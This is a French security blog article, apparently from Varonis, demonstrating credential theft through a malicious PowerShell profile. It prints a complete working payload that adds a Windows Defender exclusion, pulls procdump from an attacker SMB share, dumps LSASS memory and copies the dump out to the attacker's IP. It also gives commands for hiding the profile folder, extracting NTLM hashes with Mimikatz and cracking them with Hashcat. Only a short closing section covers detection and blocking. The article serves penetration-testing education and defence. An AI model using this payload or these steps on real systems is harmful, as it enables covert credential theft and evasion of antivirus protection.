La méthode d’élévation des privilèges décrite dans cet article est utilisée par des groupes d’espionnage russes. Elle illustre la possibilité pour un attaquant d’exploiter les fonctionnalités intégrées de PowerShell pour exécuter des commandes arbitraires dans un environnement à privilèges élevés (administrateur). Vous trouverez ci-dessous une démonstration de l’exfiltration de hachages NTLM. Le cadre MITRE ATT&CK définit ce type d’attaque comme suit :
Exécution déclenchée par un événement : les hackers peuvent instaurer un accès persistant et élever leurs privilèges en exécutant du contenu malveillant déclenché par des profils PowerShell. Un profil PowerShell (profile.ps1) est un script qui s’exécute au démarrage de PowerShell et peut être utilisé en tant que script d’ouverture de session pour personnaliser l’environnement des utilisateurs. Les hackers peuvent modifier ces profils pour y inclure des commandes, fonctions, modules et/ou lecteurs PowerShell arbitraires afin de mettre en place un accès persistant à l’environnement.
Dans cet article, nous allons aborder les sujets suivants :
- Comprendre l’attaque
- Que sont les stratégies d’exécution PowerShell ?
- Que sont les profils PowerShell ?
- Configurer l’attaque
- Extraire les hachages de mots de passe avec Mimikatz
- Craquer les hachages NTLM avec Hashcat
- Bloquer et détecter l’attaque
Accédez à une série de cours sur l’automatisation des tâches Active Directory à l'aide de PowerShell et obtenez 3 crédits CPE (cours en anglais)
Comprendre l’attaque
Dans l’exemple ci-dessous, un utilisateur innocent lance PowerShell avec les privilèges d’administrateur local. La session semble tout à fait normale à l’utilisateur. En examinant le profil PowerShell, nous pouvons toutefois constater que les mots de passe hachés sont transmis à un serveur contrôlé par un hacker, de manière parfaitement invisible pour l’utilisateur ciblé. Les conditions idéales pour la réalisation de cette attaque sont les suivantes :
- Droits de l’administrateur local : avec les comptes Administrateur local, les sessions PowerShell démarrées avec des privilèges limités ou des privilèges d’administrateur partagent un même profil profile.ps1. Un attaquant disposant d’un accès distant peut ainsi manipuler le fichier profile.ps1, exécuté par les sessions PowerShell de l’administrateur.
- Stratégies d’exécution PowerShell laxistes : la réalisation de l’attaque dépend au final de la stratégie d’exécution. Le profil profile.ps1 ne s’exécute dans les sessions PowerShell d’administrateur que si l’exécution de scripts est autorisée.
La topologie réseau contient une machine Windows 10 et une machine Kali Linux, toutes deux connectées à un même routeur (voir ci-dessous).
Que sont les stratégies d’exécution PowerShell ?
La documentation Microsoft les définit comme suit :
Une stratégie d’exécution de PowerShell est une fonctionnalité de sécurité qui contrôle les conditions dans lesquelles PowerShell charge des fichiers de configuration et exécute des scripts… Il ne s’agit pas d’un système limitant les actions des utilisateurs. Elle les aide simplement à définir des règles de base et leur évite de les violer involontairement.
Sous Windows 10, la stratégie par défaut de l’ensemble des étendues est « Non défini ». Toutefois, les utilisateurs n’hésitent généralement pas à modifier les stratégies CurrentUser
et LocalMachine
pour permettre l’exécution de scripts. Les stratégies trop laxistes, comme RemoteSigned
, Unrestricted
ou Bypass
rendent possible une élévation des privilèges. Utilisez la commande Get-ExecutionPolicy -List
pour afficher les stratégies en vigueur.
PS C:\Users\varonis> Get-ExecutionPolicy -List Scope ExecutionPolicy ----- --------------- MachinePolicy Undefined UserPolicy Undefined Process Undefined CurrentUser Undefined LocalMachine RemoteSigned
- PS C:\Users\varonis> Get-ExecutionPolicy -List
- Scope ExecutionPolicy
- ----- ---------------
- MachinePolicy Undefined
- UserPolicy Undefined
- Process Undefined
- CurrentUser Undefined
- LocalMachine RemoteSigned
PS C:\Users\varonis> Get-ExecutionPolicy -List Scope ExecutionPolicy ----- --------------- MachinePolicy Undefined UserPolicy Undefined Process Undefined CurrentUser Undefined LocalMachine RemoteSigned
Que sont les profils PowerShell ?
Les profils PowerShell sont des scripts qui s’exécutent en parallèle de chaque nouvelle session PowerShell, y compris les sessions PowerShell ISE et Visual Studio. Ils offrent un moyen pratique, pour les utilisateurs et développeurs, de charger des fonctions et modules personnalisés sur chaque nouveau terminal PowerShell. Utilisez la variable $PROFILE
pour afficher le chemin du profil de la session. Affichez le contenu du fichier avec la commande Get-Content
.
PS C:\Users\varonis> Get-Content $PROFILE
Si le répertoire n’existe pas, un attaquant peut le créer et le masquer, afin qu’il ne soit pas détecté.
PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"
- PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"
PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"
Si le fichier PS1 n’existe pas, créez-le. L’extraction des mots de passe nécessite des privilèges élevés : il s’agit donc d’un moyen efficace d’empêcher la charge utile de s’exécuter dans des environnements à faible privilège.
PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE
- PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE
PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE
À première vue, le problème ne semble pas majeur. Il faut bien comprendre qu’un hacker peut modifier un fichier exécuté automatiquement par les sessions PowerShell d’administrateur. Vous pouvez tout à fait remplacer la commande echo par une commande permettant de désactiver Windows Defender ou de réinitialiser les mots de passe.
Configurer l’attaque
À l’aide de ce que nous avons vu, nous allons utiliser les profils PowerShell pour montrer comment un hacker peut extraire des mots de passe hachés. Dans Kali, commencez par créer le répertoire de travail qui contiendra nos divers fichiers.
tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare
- tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare
tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare
Téléchargez la dernière version de ProcDump.
tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'
- tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'
tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'
Décompressez le fichier pour visualiser les différentes versions de ProcDump. L’attaque décrite dans cet article repose sur procdump.exe.
tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip
- tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip
tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip
Téléchargez le script que j’ai créé pour cet article et enregistrez-le sous le nom de « payload ». Utilisez ensuite la commande ci-dessous ou rendez-vous directement sur mon référentiel GitHub. Remplacez l’adresse IP de la variable $server de la charge utile par l’adresse de votre machine Kali.
tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload
- tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload
tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload
La charge utile contient plusieurs commandes simples. Le cmdlet Add-MpPreference
ajoute $env:TEMP
à la liste des exclusions de Windows Defender. Cette manipulation permet d’empêcher Windows Defender de détecter procdump.exe
ou l’extraction de la mémoire LSASS. esentutl.exe
vient remplacer Invoke-WebRequest
en téléchargeant procdump.exe
depuis le partage SMB du hacker. ProcDump exécute et enregistre l’extraction LSASS vers $env:TEMP
. Celle-ci est compressée au format ZIP avec Compress-Archive
, puis exfiltrée vers le partage SMB à l’aide de la commande cp
. J’ai ajouté des commentaires dans la charge utile pour clarifier le processus.
# an if statement to prevent the attack from executing without administrator privileges if (whoami /groups | findstr /i "S-1-16-12288") { # start the attack as a background processs to prevent the PS terminal from stalling when opened Start-Job { # where to write data during the attack? $temp = "$env:TEMP" # create path exclusion in Windows Defender to prevent procdump detection Add-MpPreference -ExclusionPath $temp # sleep several seconds to allow the path exclusion to take effect Start-Sleep -s 4 # the attacker's IP address $server = "192.168.56.101" # the attacker's SMB share name, must match impacket-smbserver share name $share = "evilshare" # procdump filename as it appears on the attacker's SMB share $procdump = "procdump.exe" # procdump.exe is saved locally with a random string as the filename $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe' # the procdump output path when saved locally; shameless username plug $dump = "tokyoneon.dmp" # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip" # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o # execute procdump and dump LSASS memory & $temp\$filename -accepteula -ma lsass.exe $temp\$dump # suppress progress bar that appears in the terminal when compressing the dump $ProgressPreference = "SilentlyContinue" # compress the dump Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force # exfiltrate the compressed dump to the attacker's SMB share via cp cp $temp\$exfil \\$server\$share\$exfil } | Out-Null }
- # an if statement to prevent the attack from executing without administrator privileges
- if (whoami /groups | findstr /i "S-1-16-12288")
- {
- # start the attack as a background processs to prevent the PS terminal from stalling when opened
- Start-Job {
- # where to write data during the attack?
- $temp = "$env:TEMP"
- # create path exclusion in Windows Defender to prevent procdump detection
- Add-MpPreference -ExclusionPath $temp
- # sleep several seconds to allow the path exclusion to take effect
- Start-Sleep -s 4
- # the attacker's IP address
- $server = "192.168.56.101"
- # the attacker's SMB share name, must match impacket-smbserver share name
- $share = "evilshare"
- # procdump filename as it appears on the attacker's SMB share
- $procdump = "procdump.exe"
- # procdump.exe is saved locally with a random string as the filename
- $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe'
- # the procdump output path when saved locally; shameless username plug
- $dump = "tokyoneon.dmp"
- # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating
- $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip"
- # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval
- esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o
- # execute procdump and dump LSASS memory
- & $temp\$filename -accepteula -ma lsass.exe $temp\$dump
- # suppress progress bar that appears in the terminal when compressing the dump
- $ProgressPreference = "SilentlyContinue"
- # compress the dump
- Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force
- # exfiltrate the compressed dump to the attacker's SMB share via cp
- cp $temp\$exfil \\$server\$share\$exfil } | Out-Null
- }
# an if statement to prevent the attack from executing without administrator privileges if (whoami /groups | findstr /i "S-1-16-12288") { # start the attack as a background processs to prevent the PS terminal from stalling when opened Start-Job { # where to write data during the attack? $temp = "$env:TEMP" # create path exclusion in Windows Defender to prevent procdump detection Add-MpPreference -ExclusionPath $temp # sleep several seconds to allow the path exclusion to take effect Start-Sleep -s 4 # the attacker's IP address $server = "192.168.56.101" # the attacker's SMB share name, must match impacket-smbserver share name $share = "evilshare" # procdump filename as it appears on the attacker's SMB share $procdump = "procdump.exe" # procdump.exe is saved locally with a random string as the filename $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe' # the procdump output path when saved locally; shameless username plug $dump = "tokyoneon.dmp" # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip" # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o # execute procdump and dump LSASS memory & $temp\$filename -accepteula -ma lsass.exe $temp\$dump # suppress progress bar that appears in the terminal when compressing the dump $ProgressPreference = "SilentlyContinue" # compress the dump Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force # exfiltrate the compressed dump to the attacker's SMB share via cp cp $temp\$exfil \\$server\$share\$exfil } | Out-Null }
Démarrez impacket-smbserver
pour envoyer la charge utile, puis attendez l’arrivée des extractions LSASS. Le terminal doit rester ouvert pendant toute la durée de l’attaque.
tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"
- tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"
tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"
Sous Windows, ajoutez la charge utile à la cible $PROFILE
. Il est possible d’y parvenir via un reverse shell ou une porte dérobée, mais nous allons utiliser un terminal PowerShell pour plus de simplicité. Remplacez la variable $attacker
de la commande suivante par l’adresse IP de votre machine Kali.
PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE
- PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE
PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE
Lorsque la cible démarre une nouvelle session PowerShell d’administrateur, impacket-smbserver
se présente comme suit. Deux invites « AUTHENTICATE_MESSAGE
» distinctes s’affichent dans la sortie impacket-smbserver
: le système d’exploitation cible récupère le fichier procdump.exe et l’extraction LSASS compressée envoyée au serveur. Après le deuxième message, patientez quelques instants, puis appuyez deux fois sur Ctrl
+ c
pour fermer le serveur Impacket. Un nouveau fichier ZIP figurera dans le répertoire actif. Dézippez-le pour trouver le fichier DMP.
Extraire les hachages de mots de passe avec Mimikatz
Les mots de passe hachés du fichier DMP ne sont pas en texte clair. Déplacez le fichier DMP dans une machine virtuelle Windows 10 sur laquelle Windows Defender est désactivé. Téléchargez la dernière version de Mimikatz (mimikatz_trunk.zip) et enregistrez-la dans le dossier Downloads
de Windows. Ouvrez un terminal PowerShell et décompressez le fichier ZIP à l’aide de la commande suivante.
PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz
- PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz
PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz
Naviguez jusqu’au répertoire x64 et exécutez le fichier binaire mimikatz.exe.
PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe
- PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe
PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe
Chargez le fichier DMP dans Mimikatz à l’aide de la commande sekurlsa::minidump
.
mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp
- mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp
mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp
Utilisez ensuite la commande sekurlsa::logonPasswords
pour extraire les identifiants hachés. Voyez le hachage NTLM sur la ligne 12.
mimikatz # sekurlsa::logonPasswords Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump... 1 Authentication Id : 0 ; 188563 (00000000:0002e093) 2 Session : Interactive from 1 3 User Name : varonis 4 Domain : DESKTOP-JI80T34 5 Logon Server : DESKTOP-JI80T34 6 Logon Time : 11/15/2020 9:56:57 PM 7 SID : S-1-5-21-3489785614-2607058550-4100802712-1001 8 msv : 9 [00000003] Primary 10 * Username : varonis 11 * Domain : DESKTOP-JI80T34 12 * NTLM : 2ba9afd0306922f6aed8c6a2406ddab5 13 * SHA1 : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f 14 tspkg : 15 wdigest : 16 * Username : varonis 17 * Domain : DESKTOP-JI80T34 18 * Password : (null) 19 kerberos : 20 * Username : varonis 21 * Domain : DESKTOP-JI80T34 22 * Password : (null) 23 ssp : 24 credman : 25 cloudap : ----- [truncated] ----- 59 Authentication Id : 0 ; 999 (00000000:000003e7) 60 Session : UndefinedLogonType from 0 61 User Name : DESKTOP-JI80T34$ 62 Domain : WORKGROUP 63 Logon Server : (null) 64 Logon Time : 11/15/2020 9:56:50 PM 65 SID : S-1-5-18 66 msv : 67 tspkg : 68 wdigest : 69 * Username : DESKTOP-JI80T34$ 70 * Domain : WORKGROUP 71 * Password : (null) 72 kerberos : 73 * Username : desktop-ji80t34$ 74 * Domain : WORKGROUP 75 * Password : (null) 76 ssp : 77 credman : 78 cloudap : mimikatz #
- mimikatz # sekurlsa::logonPasswords
- Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump...
- 1 Authentication Id : 0 ; 188563 (00000000:0002e093)
- 2 Session : Interactive from 1
- 3 User Name : varonis
- 4 Domain : DESKTOP-JI80T34
- 5 Logon Server : DESKTOP-JI80T34
- 6 Logon Time : 11/15/2020 9:56:57 PM
- 7 SID : S-1-5-21-3489785614-2607058550-4100802712-1001
- 8 msv :
- 9 [00000003] Primary
- 10 * Username : varonis
- 11 * Domain : DESKTOP-JI80T34
- 12 * NTLM : 2ba9afd0306922f6aed8c6a2406ddab5
- 13 * SHA1 : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f
- 14 tspkg :
- 15 wdigest :
- 16 * Username : varonis
- 17 * Domain : DESKTOP-JI80T34
- 18 * Password : (null)
- 19 kerberos :
- 20 * Username : varonis
- 21 * Domain : DESKTOP-JI80T34
- 22 * Password : (null)
- 23 ssp :
- 24 credman :
- 25 cloudap :
- ----- [truncated] -----
- 59 Authentication Id : 0 ; 999 (00000000:000003e7)
- 60 Session : UndefinedLogonType from 0
- 61 User Name : DESKTOP-JI80T34$
- 62 Domain : WORKGROUP
- 63 Logon Server : (null)
- 64 Logon Time : 11/15/2020 9:56:50 PM
- 65 SID : S-1-5-18
- 66 msv :
- 67 tspkg :
- 68 wdigest :
- 69 * Username : DESKTOP-JI80T34$
- 70 * Domain : WORKGROUP
- 71 * Password : (null)
- 72 kerberos :
- 73 * Username : desktop-ji80t34$
- 74 * Domain : WORKGROUP
- 75 * Password : (null)
- 76 ssp :
- 77 credman :
- 78 cloudap :
- mimikatz #
mimikatz # sekurlsa::logonPasswords Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump... 1 Authentication Id : 0 ; 188563 (00000000:0002e093) 2 Session : Interactive from 1 3 User Name : varonis 4 Domain : DESKTOP-JI80T34 5 Logon Server : DESKTOP-JI80T34 6 Logon Time : 11/15/2020 9:56:57 PM 7 SID : S-1-5-21-3489785614-2607058550-4100802712-1001 8 msv : 9 [00000003] Primary 10 * Username : varonis 11 * Domain : DESKTOP-JI80T34 12 * NTLM : 2ba9afd0306922f6aed8c6a2406ddab5 13 * SHA1 : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f 14 tspkg : 15 wdigest : 16 * Username : varonis 17 * Domain : DESKTOP-JI80T34 18 * Password : (null) 19 kerberos : 20 * Username : varonis 21 * Domain : DESKTOP-JI80T34 22 * Password : (null) 23 ssp : 24 credman : 25 cloudap : ----- [truncated] ----- 59 Authentication Id : 0 ; 999 (00000000:000003e7) 60 Session : UndefinedLogonType from 0 61 User Name : DESKTOP-JI80T34$ 62 Domain : WORKGROUP 63 Logon Server : (null) 64 Logon Time : 11/15/2020 9:56:50 PM 65 SID : S-1-5-18 66 msv : 67 tspkg : 68 wdigest : 69 * Username : DESKTOP-JI80T34$ 70 * Domain : WORKGROUP 71 * Password : (null) 72 kerberos : 73 * Username : desktop-ji80t34$ 74 * Domain : WORKGROUP 75 * Password : (null) 76 ssp : 77 credman : 78 cloudap : mimikatz #
Craquer les hachages NTLM avec Hashcat
Passons maintenant à un autre outil de test de pénétration, Hashcat. En 2020, certains utilisateurs définissent toujours des mots de passe faibles pour sécuriser leurs données et leurs comptes. Avec la dernière version de Hashcat et une carte graphique GTX 1060 standard, une seconde suffit pour décrypter un hachage de 7 caractères.
tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l
- tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l
tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l
Bloquer et détecter l’attaque
Comme le recommande le cadre MITRE ATT&CK, vérifiez que les emplacements des profils ne sont pas modifiés. Vous pouvez également prendre les mesures suivantes :
- Signature du code : autorisez uniquement l’exécution de scripts PowerShell signés. Signez les profils pour qu’ils ne puissent pas être modifiés.
- Limitation des droits sur les fichiers et répertoires : en limitant la modification des profils PowerShell à certains administrateurs, vous empêcherez les hackers de créer facilement un accès persistant au niveau des utilisateurs.
- Configuration logicielle : évitez de recourir aux profils PowerShell si vous pouvez vous en passer. Utilisez l’argument
-NoProfile
lors de l’exécution de scripts PowerShell à distance pour empêcher l’exécution de profils locaux.
Conclusion
Cette attaque portant sur les hachages NTLM montre les dangers d’une stratégie trop laxiste associée à des comptes Administrateur local. Nous avons vu comment un hacker pouvait forcer l’administrateur à exfiltrer des hachages NTLM, mais il est également très simple de modifier la charge utile que nous avons utilisée avec PsExec pour disposer du droit NT AUTHORITY\SYSTEM
. Découvrez d’autres conseils destinés aux testeurs d’intrusion utilisant PowerShell. Suivez-moi sur Twitter @tokyoneon_ et GitHub pour rester informé de mes projets du moment. N’hésitez pas à me faire part de vos questions et inquiétudes en commentaire ou sur Twitter.
Que dois-je faire maintenant ?
Vous trouverez ci-dessous trois solutions pour poursuivre vos efforts visant à réduire les risques liés aux données dans votre entreprise:
Planifiez une démonstration avec nous pour voir Varonis en action. Nous personnaliserons la session en fonction des besoins de votre organisation en matière de sécurité des données et répondrons à vos questions.
Consultez un exemple de notre évaluation des risques liés aux données et découvrez les risques qui pourraient subsister dans votre environnement. Cette évaluation est gratuite et vous montre clairement comment procéder à une remédiation automatisée.
Suivez-nous sur LinkedIn, YouTube et X (Twitter) for pour obtenir des informations sur tous les aspects de la sécurité des données, y compris la DSPM, la détection des menaces, la sécurité de l’IA et plus encore.